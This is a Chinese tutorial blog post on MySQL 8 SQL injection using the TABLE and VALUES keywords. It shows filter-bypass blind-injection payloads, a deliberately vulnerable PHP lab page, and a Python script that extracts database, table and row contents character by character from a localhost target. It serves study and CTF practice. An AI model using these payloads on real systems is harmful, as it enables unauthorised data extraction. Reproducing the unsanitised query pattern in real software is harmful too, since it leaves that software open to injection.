• mysql8 新特性注入


    一篇文章弄懂mysql8新特性注入 - SecPulse.COM | 安全脉搏

     如何安装新版本mysql8:

    mysql8.0.20安装配置教程 - mysql安装配置教程 - 博客园

    Table 关键字

    table关键字的语法:

    TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
    

    其作用是直接列出表的整个内容:

    与SELECT的区别:

    1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句 

    VALUES

    VALUES关键字可直接通过给出值的方式直接组成一个表

    VALUES ROW(1,2,3),ROW(1,1,1),ROW(1,2,3);
    

    可以利用联合注入

    字符比较

    (table information_schema.TABLESPACES_EXTENSIONS limit 6,7);

     返回结果是user/users 

     

    数字比较

    盲注利用

    可以采用 table 和 小于号进行盲注,table 始终显示表的所有列,我们可以注其中一个字段,这里过滤了 or 所以打算采用另一个存储数据库名和表单名的视图 sys.schema_tables_with_full_table_scans, 这个视图本身的数据少方便我们搜寻,过滤了 and 和 or 可以采用 && 或者 ||

    盲注库名 

     

     盲注表名

    查询出有四个字段,所以构造比较时候也要四个

    第一个是库所以这个方法也可以爆库名,第二个是表,需要查表名就控制第二个字段

     当字符大小超过正确表名时,无回显

     

     字段数量

    逐个字段内容

     最后一个字段很特殊,最后一个字段的最后一个字符,第一次不回显的结果正确

    也就是当最后一次回显时候+1是正确结果

     

    例题:

    index.php

    1. require "config.php";
    2. $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
    3. highlight_file(__FILE__);
    4. $id = isset($_POST['id']) ? $_POST['id'] : 1;
    5. if (preg_match("/(select|and|or)/i", $id) == 1) {
    6. die("MySQL version: " . $conn->server_info);
    7. }
    8. $data = $conn->query("SELECT username from users where id = $id");
    9. foreach ($data as $users) {
    10. echo($users['username'] );
    11. }

    config.php

    1. // config.php
    2. $dbhost = '127.0.0.1'; // mysql服务器主机地址
    3. $dbuser = 'root'; // mysql用户名
    4. $dbpass = '123456'; // mysql用户名密码
    5. $dbname = 'user'; // mysql数据库
    6. $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
    7. ?>

    库:user 表:users

     

     爆库:

     字符比较来盲注库名,表名:

    id = -1 ||('user','users','','')<(table sys.schema_tables_with_full_table_scans limit 0,1);

    盲注字段内容:

    id = 0 ||('1','zhangsan','123456')<(table users limit 0,1); 

    脚本:

    1. # -*-coding:utf-8-*-
    2. import requests
    3. def bind_sql():
    4. flag = ""
    5. dic = "~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/-,+*)(&%$#!"
    6. for i in range(1000):
    7. f = flag
    8. for j in dic:
    9. _ = flag + j
    10. #payload = "id=0||(binary'{}','',3,4)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/0,1)".format(_)
    11. #payload = "id=0||('user',binary'{}',3,4)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1,1)".format(_)
    12. payload = "id=0||(binary'{}','')<(table/**/ctf/**/limit/**/0,1)".format(_)
    13. #payload = "id=0||('2','lisi',binary'{}')<(table/**/users/**/limit/**/1,1)".format(_)
    14. #payload = "id=0||('2',binary'{}','')<(table/**/users/**/limit/**/1,1)".format(_)
    15. #print(payload)
    16. data = {
    17. "id": payload
    18. }
    19. res = requests.post(url=url, data=data)
    20. if 'zhangsan' in res.text:
    21. # 匹配字段最后一位需要加1, 也就是匹配出 admim 其实是 admin
    22. if j == '~':
    23. flag = flag[:-1] + chr(ord(flag[-1])+1)
    24. print(flag)
    25. exit()
    26. flag += j
    27. print(flag)
    28. break
    29. if flag == f:
    30. break
    31. return flag
    32. if __name__ == '__main__':
    33. # input url
    34. url = 'http://localhost:8088/study/mysql8/'
    35. result = bind_sql()
    36. print(result)

  • 相关阅读:
    C++项目——云备份-⑦-服务端业务处理模块设计与实现
    Spring Data JPA 之 @Entity 回调方法
    Hbase压缩之ZSTD
    关于FPGA对 DDR4 (MT40A256M16)的读写控制 I
    字符与数字的相互转换
    数学--逆运算知识点,附推逆函数的一例
    第二十三章 STL-常用容器
    ISO9001质量管理体系剖析
    MATLAB | solve函数求解析解时不支持分段函数的解决方案
    Qt+QtWebApp开发笔记(三):http服务器动态html连接跳转基础交互
  • 原文地址:https://blog.csdn.net/qq_61768489/article/details/126062322